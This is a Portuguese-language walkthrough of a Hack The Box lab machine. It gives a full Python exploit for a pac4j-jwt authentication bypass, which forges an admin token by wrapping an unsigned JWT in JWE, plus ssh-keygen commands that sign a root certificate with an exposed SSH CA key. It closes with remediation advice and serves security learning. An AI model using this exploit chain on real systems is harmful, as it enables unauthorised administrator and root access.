Olá a todos, meu nome é Artem Markelov e sou um especialista em análise de segurança na SecWare. Nós nos dedicamos a encontrar vulnerabilidades complexas, auditar redes corporativas e, em geral, fazer o que é comumente chamado de segurança da informação. Em nosso tempo livre, eu e minha equipe resolvemos desafios no Hack The Box – para mim, é uma forma de relaxar, aprimorar minhas habilidades e me manter afiado.
Recentemente, encontrei a máquina Principal na plataforma. Ela tem um nível de dificuldade médio, mas é conceitualmente muito interessante. Ambas as fases do ataque (acesso inicial e escalonamento de privilégios) são construídas sobre a mesma falha fundamental: a verificação de um invólucro criptográfico sem a validação do conteúdo interno. Isso não é apenas uma cadeia de vulnerabilidades, mas uma demonstração de como um único princípio se manifesta em duas tecnologias completamente diferentes – JWT/JWE e SSH Certificate Authority.
TL;DR
Nesta máquina do Hack The Box, a exploração da CVE-2026-29000 é usada para obter acesso inicial – uma falha de bypass de autenticação na biblioteca pac4j-jwt, onde um token PlainJWT sem assinatura digital, mas encapsulado em um invólucro JWE válido, contorna completamente a verificação de assinatura. Após falsificar um token de administrador e extrair as credenciais SSH do painel de controle corporativo para escalonamento de privilégios, as deficiências na configuração da Autoridade de Certificação SSH são exploradas, que confia em qualquer certificado. O nome de usuário (principal) não é verificado, o que permite falsificar um certificado para o usuário root.
A cadeia de ataque se parece com isto:
- Detecção de pac4j-jwt/6.0.3;
- Obtenção do JWKS – chave pública RSA;
- Exploração da CVE-2026-29000 – PlainJWT em JWE;
- Falsificação do token de administrador;
- Acesso à API – /api/users, /api/settings;
- Extração das credenciais svc-deploy;
- SSH como svc-deploy;
- Obtenção do flag do usuário;
- Busca por arquivos acessíveis – /opt/principal/ssh/ca;
- Geração de um par de chaves Ed25519;
- Assinatura do certificado com o principal root;
- SSH como root via certificado;
- Obtenção do flag do administrador.
Reconhecimento
O primeiro passo é escanear o endereço IP do alvo para identificar serviços expostos. Para isso, executamos o nmap:
bashnmap -sCV 10.129.15.98
Aqui, encontramos imediatamente algumas descobertas importantes:
- Jetty em 8080 – Servidor Java, provavelmente Spring ou um framework similar;
- pac4j-jwt/6.0.3 – Uma biblioteca específica com uma versão concreta. pac4j é um framework de autenticação Java, e JWT é um módulo que trabalha com tokens. A versão 6.0.3 não é tão antiga, mas podemos procurar por vulnerabilidades recentes nela;
- OpenSSH 9.6 – Uma versão relativamente nova, é improvável que haja vulnerabilidades no próprio daemon, mas pode haver erros de configuração.
Iniciamos o Burp Suite, abrimos o navegador e vemos um formulário de login "Principal Internal Platform". Na parte inferior da página, encontramos a versão e as tecnologias: v1.2.0 | Powered by pac4j.
Tentamos credenciais padrão (admin/admin, admin/password) – recebemos um erro, mas no HTTP History do Burp Suite, vemos que a requisição vai para /api/auth/login.
Também no HTTP History, vemos uma requisição para /static/js/app.js.
Vamos dar uma olhada mais de perto no arquivo JavaScript, que contém comentários detalhados do desenvolvedor.
Do arquivo JS, aprendemos alguns pontos úteis:
| Parâmetro | Valor | Significado para o ataque |
|---|---|---|
| Algoritmo JWE | RSA-OAEP-256 + A128GCM | Criptografia assimétrica, chave pública necessária |
| Algoritmo JWS | RS256 | Assinatura assimétrica, a chave não é exposta |
| Endpoint JWKS | /api/auth/jwks | Daqui obteremos a chave pública para criptografia |
| Estrutura | sub, role, iss, iat, exp | Estrutura de payload conhecida |
Solicitamos o JWKS (JSON Web Key Set).
Na captura de tela, vemos:
- Detecção de pac4j-jwt/6.0.3;
kty: RSA– tipo de chave RSA;e: AQAB– expoente padrão 65537;kid: enc-key-1– ID da chave, uma dica de que esta é uma chave de criptografia;n– a própria chave pública.
No JWKS, há apenas uma chave, e ela é destinada à criptografia (pelo campo kid). Não há chave para verificação de assinatura – a assinatura é verificada pelo servidor com sua chave privada, a chave pública não é necessária para o cliente.
Momento X: Encontrando um Bug no Código do pac4j
Para entender a vulnerabilidade, é preciso compreender a arquitetura do framework. O Pac4j suporta diferentes combinações de JWT:
| Tipo | Estrutura | Descrição |
|---|---|---|
| PlainJWT | header.payload | Sem assinatura, alg: none |
| SignedJWT (JWS) | header.payload.signature | Apenas assinatura |
| EncryptedJWT (JWE) | header.encryptedKey.iv.ciphertext.authTag | Apenas criptografia |
| Signed then Encrypted | JWS dentro de JWE | Primeiro assinatura, depois criptografia |
Na máquina do Hack The Box, a última opção é usada: um JWT assinado é encapsulado em um JWE. Com essa estrutura, o servidor deve:
- Descriptografar o JWE externo com sua chave RSA privada.
- Obter o JWT interno.
- Verificar a assinatura do JWT interno com a chave pública.
- Extrair os claims e autorizar o usuário.
Vamos olhar o código fonte do pac4j-jwt 6.0.3 (classe JwtAuthenticator). Abaixo está um trecho do método validate, que contém a vulnerabilidade:
javapublic void validate(TokenCredentials credentials, WebContext context) { String token = credentials.getToken(); if (isEncrypted(token)) { EncryptedJWT encryptedJWT = EncryptedJWT.parse(token); encryptedJWT.decrypt(decrypter); JWT innerJWT = encryptedJWT.getPayload().toJWT(); SignedJWT signedJWT = innerJWT.toSignedJWT(); if (signedJWT != null) { // Ramo A: há assinatura, verificamos if (!signatureVerifier.verify(signedJWT)) { throw new BadCredentialsException("Invalid signature"); } } else { // Ramo B: não há assinatura (signedJWT == null) // Erro: simplesmente continuamos, não verificamos a assinatura logger.debug("No signature found, continuing..."); } Map<String, Object> claims = innerJWT.getJWTClaimsSet().getClaims(); createProfile(claims); } }
O método innerJWT.toSignedJWT() tenta converter o JWT interno em um SignedJWT. De acordo com o operador condicional, quando signedJWT == null, o ramo B é executado, que não lança uma exceção, mas apenas registra uma mensagem de depuração. Após isso, a execução continua e os claims são extraídos do token não assinado.
A vulnerabilidade reside na falta de tratamento para o caso em que toSignedJWT() retorna null. Nenhuma verificação é feita. Uma implementação correta deveria lançar uma exceção no ramo B ou exigir a presença obrigatória de uma assinatura (signedJWT != null) para continuar o processamento.
A falha encontrada não é teórica. O NIST confirma a CVE-2026-29000:
Versões do pac4j-JWT anteriores a 4.5.9, 5.7.9 e 6.3.3 contêm uma vulnerabilidade de bypass de autenticação no JwtAuthenticator ao processar JWTs criptografados, permitindo que atacantes remotos falsifiquem tokens de autenticação. Atacantes com a chave pública RSA do servidor podem criar um PlainJWT encapsulado em JWE com reivindicações arbitrárias de assunto e função, contornando a verificação de assinatura para se autenticar como qualquer usuário, incluindo administradores.
Construindo o Exploit
Para explorar a vulnerabilidade identificada, precisaremos de:
- A chave pública RSA do servidor (obtida na fase de reconhecimento através do endpoint
/api/auth/jwks). - A estrutura de payload conhecida (formato dos claims:
sub,role,iss,iat,exp).
O processo de construção do token falsificado inclui os seguintes passos:
python# Passo 1. Obtenção da chave pública do JWKS jwks = requests.get(f"http://{{ip}}:8080/api/auth/jwks").json() key = jwks['keys'][0] n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big') pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend()) pem = pub.public_bytes(encoding=serialization.Encoding.PEM, # Passo 2. Criação de um PlainJWT com claims arbitrários header = {"alg": "none", "typ": "JWT"} payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": int(time.time()), "exp": int(time.time()) + 3600} b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode() b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() plain_jwt = f"{b64h}.{b64p}." # Passo 3. Encapsulamento do PlainJWT em JWE token = jwe.encrypt(plain_jwt.encode(), pem, algorithm=Algorithms.RSA_OAEP_256, encryption=Algorithms.A128GCM).decode()
Abaixo está o exploit pronto, implementado em Python usando a biblioteca python-jose:
python#!/usr/bin/env python3 import json, base64, time, requests from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from jose import jwe from jose.constants import Algorithms ip = input("IP: ") jwks = requests.get(f"http://{{ip}}:8080/api/auth/jwks").json() key = jwks['keys'][0] n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big') pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend()) pem = pub.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo).decode() header = {"alg": "none", "typ": "JWT"} payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": int(time.time()), "exp": int(time.time()) + 3600} b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode() b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() plain_jwt = f"{b64h}.{b64p}." token = jwe.encrypt(plain_jwt.encode(), pem, algorithm=Algorithms.RSA_OAEP_256, encryption=Algorithms.A128GCM).decode() print("Token:", token) print()
O JWE obtido é enviado ao servidor no cabeçalho Authorization: Bearer <token>. Usando sua chave RSA privada, o servidor descriptografa com sucesso o JWE, extrai o PlainJWT, detecta a ausência de assinatura, mas (devido à vulnerabilidade) continua o processamento e extrai os claims sub=admin, role=ROLE_ADMIN.
Executamos o script e inserimos o endereço IP do alvo:
bashpython3 poc.py
Obtemos o JWT falsificado do administrador.
Sucesso: API Aberta, Senha Encontrada
Usando o Burp Suite Repeater, enviamos requisições para /api/users e /api/settings usando o token obtido.
Na resposta à requisição para /api/users, encontramos um usuário com a marcação "Service account for automated deployments via SSH certificate auth.". Esta conta de serviço é usada para implantação automatizada via autenticação de certificado SSH.
Obtemos acesso à máquina como o usuário svc-deploy. Por padrão, encontramos o flag no diretório do usuário:
bashssh svc-deploy@10.129.244.220
Escalonamento de Privilégios: Falha no SSH CA
Da descrição da máquina, aprendemos que ela utiliza um SSH CA. O SSH padrão usa chaves públicas: authorized_keys contém uma lista de chaves confiáveis. O SSH CA, por sua vez, funciona como uma alternativa ao método clássico de autenticação por chaves públicas, permitindo o gerenciamento centralizado de acesso sem a necessidade de distribuir chaves para todos os servidores.
Na forma clássica, a arquitetura do SSH CA se parece com isto:
[Diagrama da Arquitetura SSH CA]
Neste esquema, existem três componentes principais: o próprio servidor SSH (sshd), configurado para confiar em uma determinada Autoridade de Certificação, o cliente, que apresenta um certificado para autenticação, e o mecanismo de verificação de autoridade. Quando um cliente tenta se conectar, ele envia um certificado, que é uma representação de sua chave pública, assinada pela chave privada do CA com metadados adicionais. O servidor verifica a assinatura com a chave pública do CA especificada na diretiva TrustedUserCAKeys e, se a assinatura for válida, extrai a lista de principais do certificado – nomes de usuários pelos quais o login é permitido.
Após obter acesso ao sistema sob a conta svc-deploy, lemos os arquivos de configuração do SSH:
bashsvc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
PermitRootLogin está definido como prohibit-password, o que significa que o login como root usando senha está bloqueado. No entanto, a autenticação baseada em certificado é permitida. O caminho para a chave privada do CA também é especificado. Com ela, podemos assinar um certificado em nome de qualquer usuário que desejarmos, incluindo root.
É necessário gerar um par de chaves, assinar o certificado com o principal root e, de fato, conectar.
Geramos a chave Ed25519:
bashsvc-deploy@principal:~$ ssh-keygen -t ed25519 -f /tmp/pwn -N ""
Assinamos o certificado usando a chave privada do CA encontrada:
bashsvc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -n root -I x -V +1h /tmp/pwn.pub
Usamos o certificado obtido para conectar via SSH como root:
bashsvc-deploy@principal:~$ ssh -i /tmp/pwn root@localhost
Conclusão
Ambas as fases do ataque são unidas pela mesma falha fundamental: confiar no formato (invólucro criptográfico) sem verificar o conteúdo.
No caso do JWT, a criptografia JWE era válida, então o servidor não verificou a assinatura interna. No caso do SSH CA, o certificado foi assinado por um CA confiável, então o servidor não verificou o nome de usuário no principal.
Recomendações de Correção
Como de costume, no final do artigo, apresentamos recomendações para corrigir as vulnerabilidades encontradas ao resolver a máquina do Hack The Box.
Correção da CVE-2026-29000:
- Atualizar pac4j-jwt para a versão 6.3.3 ou superior;
- Permitir apenas algoritmos esperados (RS256, etc.), proibir
none; - Verificar a assinatura antes de extrair os claims.
Fortalecimento do SSH CA:
- Configurar
AuthorizedPrincipalsFileno arquivo/etc/ssh/auth_principals/(usuário_do_sistema); - Restringir principais para usuários privilegiados (root);
- Separar autoridades de certificação por zonas de responsabilidade;
- Auditar os certificados emitidos.







